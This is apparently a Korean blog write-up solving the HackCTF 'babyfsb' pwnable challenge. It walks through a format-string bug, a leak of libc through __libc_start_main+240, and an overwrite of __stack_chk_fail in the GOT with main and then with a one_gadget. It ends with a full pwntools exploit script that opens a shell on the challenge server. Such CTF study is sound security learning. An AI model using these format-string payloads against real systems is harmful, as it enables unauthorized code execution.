Wargame/HackCTF

[Pwnable] babyfsb

210_ 2020. 1. 10. 22:32

들어가며

you are sliver 문제에서 fsb를 다루고 자신감이 생겨서 도전한 문제이다.

색다른 방식으로 libc를 leak함으로써 재미를 느낀 문제이다.

 

문제해석

gdb-peda$ pd main
Dump of assembler code for function main:
...
   0x00000000004006e5 <+63>:    lea    rax,[rbp-0x40]
   0x00000000004006e9 <+67>:    mov    edx,0x40
   0x00000000004006ee <+72>:    mov    rsi,rax
   0x00000000004006f1 <+75>:    mov    edi,0x0
   0x00000000004006f6 <+80>:    call   0x400570 <read@plt>
   0x00000000004006fb <+85>:    lea    rax,[rbp-0x40]
   0x00000000004006ff <+89>:    mov    rdi,rax
   0x0000000000400702 <+92>:    mov    eax,0x0
   0x0000000000400707 <+97>:    call   0x400560 <printf@plt>
   0x000000000040070c <+102>:   mov    eax,0x0
   0x0000000000400711 <+107>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x0000000000400715 <+111>:   xor    rcx,QWORD PTR fs:0x28
   0x000000000040071e <+120>:   je     0x400725 <main+127>
   0x0000000000400720 <+122>:   call   0x400550 <__stack_chk_fail@plt>
...

read로 stack에 0x40(64) 만큼 입력받고, rdi인자 하나를 통해 printf 함수를 호출한다. <- 이때 fsb가 발생!

그리고, canary가 걸려있어서 canary 값이 변조된다면 __stack_chk_fail 함수가 호출된다.

 

printf@got를 변조해봤자, 이후에 printf 함수가 나오지 않아 쓸모가 없다.

그러므로 __stack_chk_fail@got를 가지고 다음과 같은 값을 얻어낼 것이다.

1. <libc_start_main+240> (main 함수의 ret) 주소 Leak -> libc_base를 알아낼 수 있음.

2. 동시에 __stack_chk_fail@got를 main함수로 변조

 

이렇게 하기 위해선 강제로 canary 값을 변조시켜야 한다.

 

풀이

일단 you are silver 문제와 비슷하게 offset을 구해야 한다.

root@goorm:/workspace/ubuntu_1604/hackctf/pwnable/babyfsb(master)# ./babyfsb
hello
AAAAAAAA %6$p
AAAAAAAA 0x4141414141414141

offset6 이며, __stack_chk_fail@got가 들어가는 offset을 구해줘야 한다.

%hn%hn전까지 쓰여진 byte만큼을 해당 포인터에 쓰기작업을 수행한다.

그러므로, payload를 짜고 그 길이를 확인한 후에 offset을 구해야 한다.

 

payload는 다음과 같다.

main = e.symbols['main']
main_low = main & 0xffff

# offset 6
payload = ''
payload += '%{}c'.format(main_low)			# duplicate source
payload += '%?$hn'					# offset + (len(payload)) / 8
payload += '%??$p'					# (libc_start_main+240 - &offset) / 8 + offset
#print(len(payload))					# 16
payload += p64(stack_chk_fail)			# duplicate target
payload += "B"*(56-len(payload))			# make stack smash

__stack_chk_fail@got 함수가 나오기 전까지의 길이를 구해야 한다.

여기서는 memory leak을 위한 %p가 들어가 있으므로, 그것까지 길이에 넣는다.

총 길이는 16으로, offset 단위를 맞춰주기 위해 8을 나누고 [2], offset(6)을 더해준다. [8]

 

다음으로 구해야 할 값은 <libc_start_main+240> 의 offset이다.

gdb-peda$ x/10gx $rsp
0x7ffe5c8ddbc0: 0x4141414141414141		0x000000000040070a
0x7ffe5c8ddbd0: 0x00007ffe5c8ddbfe		0x0000000000000000
0x7ffe5c8ddbe0: 0x0000000000400730		0x00000000004005b0
0x7ffe5c8ddbf0: 0x00007ffe5c8ddce0		0x3289ac255742dc00
0x7ffe5c8ddc00: 0x0000000000400730		0x00007f805d645830
gdb-peda$ x/gx $rbp+8
0x7ffe5c8ddc08: 0x00007f805d645830
gdb-peda$ x/gx 0x00007f805d645830
0x7f805d645830 <__libc_start_main+240>: 0x31000197f9e8c789
gdb-peda$ p/x ($rbp+8)-$rsp
$1 = 0x48

offset의 주소로부터 <libc_start_main+240>를 빼면 0x48(72) 가 나온다.

이를 offset 단위로 맞추기 위해 8을 나누고 [9], offset(6)을 더해준다. [15]

 

이때, payload는 다음과 같다.

main = e.symbols['main']
main_low = main & 0xffff

# offset 6
payload = ''
payload += '%{}c'.format(main_low)			# duplicate source
payload += '%8$hn'					# offset + (len(payload)) / 8
payload += '%15$p'					# (libc_start_main+240 - &offset) / 8 + offset
#print(len(payload))					# 16
payload += p64(stack_chk_fail)			# duplicate target
payload += "B"*(56-len(payload))			# make stack smash

main_low를 구해준 이유는 __stack_chk_fail 함수가 이전에 call 되지 않았기에,

2byte만을 변조하면 되기 때문이다.

gdb-peda$ x/i 0x400550
   0x400550 <__stack_chk_fail@plt>:     jmp    QWORD PTR [rip+0x200aca]        # 0x601020
gdb-peda$ x/gx 0x601020
0x601020:       0x0000000000400556
gdb-peda$ x/i *main
   0x4006a6 <main>:     push   rbp

 


 

<libc_start_main+240> 주소가 leak되고, main함수로 가지는 것을 볼 수 있다.

이제, libc_base를 알았으니 exploit 할 일만 남았다.

방식은 __stack_chk_fail@gotoneshot gadget으로 변조시키는 방법을 택했다.

 

exploit.py

 

from pwn import *

#r = process('./babyfsb')
r = remote('ctf.j0n9hyun.xyz', 3032)
e = ELF('./babyfsb')
libc = ELF('./libc.so.6')

main = e.symbols['main']
main_low = main & 0xffff

stack_chk_fail = e.got['__stack_chk_fail']
libc_start_main_offset = libc.symbols['__libc_start_main']

# offset 6
payload = ''
payload += '%{}c'.format(main_low)			# duplicate source
payload += '%8$hn'					# offset + (len(payload)) / 8
payload += '%15$p'					# (libc_start_main+240 - &offset) / 8 + offset
#print(len(payload))					# 16
payload += p64(stack_chk_fail)			# duplicate target
payload += "B"*(56-len(payload))			# make stack smash

r.sendlineafter('\n', payload)
r.recvuntil('0x')
leak = int(r.recv(12), 16)

one_gadget = 0x45216
libc_base = (leak - 240) - libc_start_main_offset
one_gadget = libc_base + one_gadget

one_gadget_low		= one_gadget & 0xffff
one_gadget_middle	= (one_gadget >> 16) & 0xffff
one_gadget_high		= (one_gadget >> 32) & 0xffff

low = one_gadget_low

if one_gadget_middle > one_gadget_low:
	middle = one_gadget_middle - one_gadget_low
else:
	middle = (0x10000 + one_gadget_middle) - one_gadget_low
	
if one_gadget_high > one_gadget_middle:
	high = one_gadget_high - one_gadget_middle
else:
	high = (0x10000 + one_gadget_high) - one_gadget_middle
	
# offset 6
payload = ''
payload += '%{}c'.format(low)			# duplicate source 1
payload += '%11$hn'				# offset + (len(payload)) / 8
payload += '%{}c'.format(middle)		# duplicate source 2
payload += '%12$hn'				# offset + (len(payload)) / 8 + 1
payload += '%{}c'.format(high)		# duplicate source 3
payload += '%13$hn'				# offset + (len(payload)) / 8 + 2
payload += 'A'*(8 - (len(payload) % 8))	# padding
#print(len(payload))				# 40
payload += p64(stack_chk_fail)		# duplicate target 1
payload += p64(stack_chk_fail + 2)		# duplicate target 2
payload += p64(stack_chk_fail + 4)		# duplicate target 3
payload += "B"*(56-len(payload))		# make stack smash

r.sendlineafter('\n', payload)
r.interactive()